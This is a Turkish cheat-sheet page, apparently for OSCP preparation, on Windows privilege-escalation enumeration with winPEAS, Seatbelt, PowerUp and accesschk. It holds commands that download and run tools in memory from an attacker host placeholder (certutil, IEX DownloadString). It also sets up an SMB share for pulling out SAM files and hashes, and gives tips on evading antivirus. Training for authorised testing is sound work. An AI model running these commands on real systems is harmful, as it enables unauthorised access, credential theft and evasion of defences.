PrivEsc ✓ EXAM-SAFE kolay

Windows Privilege Escalation — Enumeration Methodology (winPEAS, Seatbelt, PowerUp, accesschk)

Ilk shell alindiktan sonra Windows uzerinde yetki yukseltme yollarini sistematik bulmak icin manuel komutlar (whoami /priv, whoami /all, systeminfo) ve otomatik araclarin (winPEAS, Seatbelt, PowerUp, accesschk, SharpUp) tam akisi. Tum diger privesc tekniklerinin giris noktasidir.

ÖN KOŞULLAR

Hedef Windows uzerinde calisan bir shell (reverse shell, evil-winrm, RDP veya psexec)
Kali tarafinda araclari serve etmek icin HTTP/SMB sunucusu

┌──

Komutlar

cmd ✓ EXAM-SAFE user

whoami /priv

Mevcut token ayricaliklarini listeler. SeImpersonate/SeAssignPrimaryToken/SeDebug/SeBackup/SeRestore/SeLoadDriver ararken ilk bakilacak komut. HackTricks — Windows Local Privilege Escalation (Token privileges)

cmd ✓ EXAM-SAFE user

whoami /all

Kullanici SID, grup uyelikleri (Administrators, Backup Operators, etc.) ve tum token ayricaliklarini tek seferde dokumler. HackTricks — Windows Local Privilege Escalation

cmd ✓ EXAM-SAFE user

systeminfo

OS surumu, build, hotfix/KB listesi ve mimari. Kernel exploit / surum bazli token aracı secimi icin kritik. HackTricks — Windows Local Privilege Escalation (System info)

powershell ✓ EXAM-SAFE user

[System.Environment]::OSVersion.Version; (Get-CimInstance Win32_OperatingSystem).Caption; Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 15

PowerShell ile OS surumu ve son yamalar. systeminfo kisitliysa alternatif. HackTricks — Windows Local Privilege Escalation

certutil ✓ EXAM-SAFE user

certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/winPEASx64.exe C:\Windows\Temp\winpeas.exe

winPEAS binary'sini Kali'den hedefe certutil (LOLBAS) ile indirir. {{LPORT}} = python http.server portu. LOLBAS: Certutil.exe

winpeas ✓ EXAM-SAFE user

C:\Windows\Temp\winpeas.exe quiet cmd fast

winPEAS'i hizli/quiet modda calistirir. Servis, registry, stored creds, token, kotu izinleri kirmizi ile renklendirir. HackTricks — winPEAS (PEASS-ng)

powershell ✓ EXAM-SAFE user

IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}:{{LPORT}}/winPEAS.ps1')

winPEAS'in PowerShell surumunu diske yazmadan bellekte calistirir (fileless). HackTricks — winPEAS (PEASS-ng)

powershell ✓ EXAM-SAFE user

IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}:{{LPORT}}/PowerUp.ps1'); Invoke-AllChecks

PowerSploit PowerUp ile tum privesc kontrollerini (unquoted path, weak service perms, AlwaysInstallElevated, modifiable services) tek komutta calistirir. HackTricks — PowerUp (PowerSploit)

seatbelt ✓ EXAM-SAFE user

C:\Windows\Temp\Seatbelt.exe -group=all

GhostPack Seatbelt ile tum guvenlik/host konularini (token, UAC, AutoLogon, stored creds, services) dokumler. HackTricks — Seatbelt (GhostPack)

accesschk ✓ EXAM-SAFE user

accesschk.exe /accepteula -uwcqv "Users" *

Sysinternals accesschk: 'Users' grubunun yazma (w) yetkisine sahip oldugu servisleri bulur — weak service permissions privesc icin temel. HackTricks — Windows Local Privilege Escalation (accesschk)

accesschk ✓ EXAM-SAFE user

accesschk.exe /accepteula -wvu "Everyone" "C:\Program Files\VulnApp"

Belirli bir dizinde Everyone/Users yazma yetkisini kontrol eder — DLL hijack / unquoted path / binary replace icin. HackTricks — Windows Local Privilege Escalation (accesschk)

cmd ✓ EXAM-SAFE user

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

AlwaysInstallElevated policy'sinin her iki hive'da da 0x1 olup olmadigini kontrol eder. HackTricks — AlwaysInstallElevated

impacket ✓ EXAM-SAFE

impacket-smbserver share $(pwd) -smb2support

Kali'de SMB paylasimi acar; hedeften winPEAS/Seatbelt'i \\{{LHOST}}\share uzerinden cekmek ve loot'u geri tasimak icin. WADComs — impacket-smbserver

Amac

Windows privesc’in temeli sistematik enumeration’dir. Once manuel hizli kontroller (token, gruplar, OS surumu), sonra otomatik araclar (winPEAS, Seatbelt, PowerUp). Bu sayfa diger tum privesc tekniklerinin baslangic noktasidir; her bulguyu ilgili ozel tekniğe baglayin.

Manuel Hizli Triage

Ilk shell’de su sirayla bakin:

Token ayricaliklari — whoami /priv. SeImpersonate veya SeAssignPrimaryToken varsa direkt Potato ailesine (win-seimpersonate-potato) gidin; SeDebug/SeBackup/SeRestore/SeLoadDriver da yuksek deger.
Kimlik ve gruplar — whoami /all. Backup Operators / Server Operators / DnsAdmins gibi gruplar ayri yollar acar.
OS ve yamalar — systeminfo veya PowerShell Get-HotFix. Build numarasi hem kernel exploit hem de dogru Potato secimi icin gerekli.

Otomatik Araclar

winPEAS en kapsamli tek-tikla aractir; kirmizi vurgular en kritik bulgulardir. Disk’e yazmadan PowerShell surumunu (winPEAS.ps1) bellekte calistirmak AV/disk forensics acisindan daha temizdir.

Seatbelt (GhostPack, C#) — -group=all ile host’un guvenlik konfigurasyonunu cikarir; ozellikle AutoLogon, stored credentials ve UAC seviyesinde guclu.

PowerUp (Invoke-AllChecks) — servis odakli privesc’lerde (unquoted service path, modifiable service, AlwaysInstallElevated) cok hizli sonuc verir ve cogu zaman dogrudan Write-ServiceBinary / Install-ServiceBinary exploit fonksiyonlarini da sunar.

accesschk (Sysinternals) — manuel dogrulama icin sart. winPEAS bir servisi ‘modifiable’ diye isaretledi ise, accesschk ile (-uwcqv "Users" *) hangi yetkilerin (SERVICE_CHANGE_CONFIG, WRITE_DAC) gercekten oldugunu teyit edin. Eski accesschk surumlerinde -accepteula gerekir.

Arac Transferi

Araclari hedefe tasimak icin Kali’de python3 -m http.server {{LPORT}} veya impacket-smbserver calistirip hedefte certutil, PowerShell DownloadString veya SMB ile cekin. Loot’u (SAM, config, hash) geri tasimak icin ayni SMB paylasimini kullanin.

Notlar

Otomatik arac calistirmadan once manuel token kontrolu yapin; cogu servis hesabi (IIS, MSSQL) zaten SeImpersonate tasir ve enumeration’a vakit harcamadan Potato calisir.
AV ortaminda winPEAS.exe yakalanabilir; .ps1 surumu, obfuscation veya parcali manuel kontroller alternatiftir.
Bulgulari dogrula → exploit et disiplini OSCP’de hayati: accesschk/sc qc ciktisini exploit oncesi ekran goruntusu/log olarak saklayin.

┌──

Kaynaklar

↗ HackTricks — Windows Local Privilege Escalation ↗ PEASS-ng (winPEAS) GitHub ↗ GhostPack Seatbelt ↗ PowerSploit PowerUp ↗ LOLBAS — Certutil.exe